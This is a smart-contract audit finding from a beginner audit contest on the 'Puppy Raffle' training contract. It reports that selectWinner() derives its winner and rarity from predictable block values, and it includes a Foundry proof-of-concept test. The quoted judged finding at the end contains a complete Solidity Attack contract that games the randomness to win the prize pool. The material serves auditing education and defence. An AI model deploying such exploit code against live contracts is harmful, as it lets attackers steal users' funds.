Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

selectWinner()'s randomness (msg.sender, block.timestamp, block.difficulty) is fully predictable off-chain, letting anyone rig the winner and puppy rarity

dngr2

Summary

PuppyRaffle::selectWinner derives both the raffle winner and the minted puppy's rarity from a hash of purely public/attacker-controlled values (msg.sender, block.timestamp, block.difficulty). Anyone can compute the exact winner index and rarity roll before submitting the transaction, and a caller can even choose which address to call from to steer the outcome in their favor.

Description

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
...
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

None of msg.sender, block.timestamp, or block.difficulty are secret at the time selectWinner is called:

  • msg.sender is chosen by whoever sends the transaction (anyone can call selectWinner, it's not restricted).

  • block.timestamp and block.difficulty (post-merge, prevrandao) are both readable off-chain via any RPC node before the transaction lands.

An attacker can therefore simulate every candidate msg.sender off-chain, find one that lands them (or an accomplice) on the winning index and/or the LEGENDARY rarity roll, and only then submit the real transaction from that address.

Risk

Likelihood:

  • Every single call to selectWinner is affected -- there is no on-chain secret or commit-reveal step at any point.

  • Predicting the outcome requires nothing more than reading public chain state and hashing off-chain; no special access or timing race is needed.

Impact:

  • The raffle's core "fairness" guarantee (a random winner) is completely defeated -- an attacker can guarantee themselves the 80% prize pool.

  • Puppy rarity (including the rare LEGENDARY tier) can likewise be rigged, undermining the NFT's intended scarcity/value.

Proof of Concept

function test_H2_winnerAndRarityFullyPredictableOffChain() public {
address[] memory players = _enterN(4);
vm.warp(block.timestamp + duration);
​
address predictedCaller = address(this);
uint256 predictedWinnerIndex =
uint256(keccak256(abi.encodePacked(predictedCaller, block.timestamp, block.difficulty))) % players.length;
uint256 predictedRarityRoll =
uint256(keccak256(abi.encodePacked(predictedCaller, block.difficulty))) % 100;
​
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), players[predictedWinnerIndex]);
// rarity of the minted token also matches predictedRarityRoll exactly (see full PoC file)
}

Run with forge test --match-test test_H2_winnerAndRarityFullyPredictableOffChain -vv -- the prediction computed before calling selectWinner matches the actual on-chain result exactly, every time.

Recommended Mitigation

Do not derive randomness from msg.sender/block.timestamp/block.difficulty. Use a verifiable off-chain randomness source such as Chainlink VRF (or an equivalent commit-reveal scheme) so the winner/rarity cannot be predicted or influenced by any single party before the request is fulfilled.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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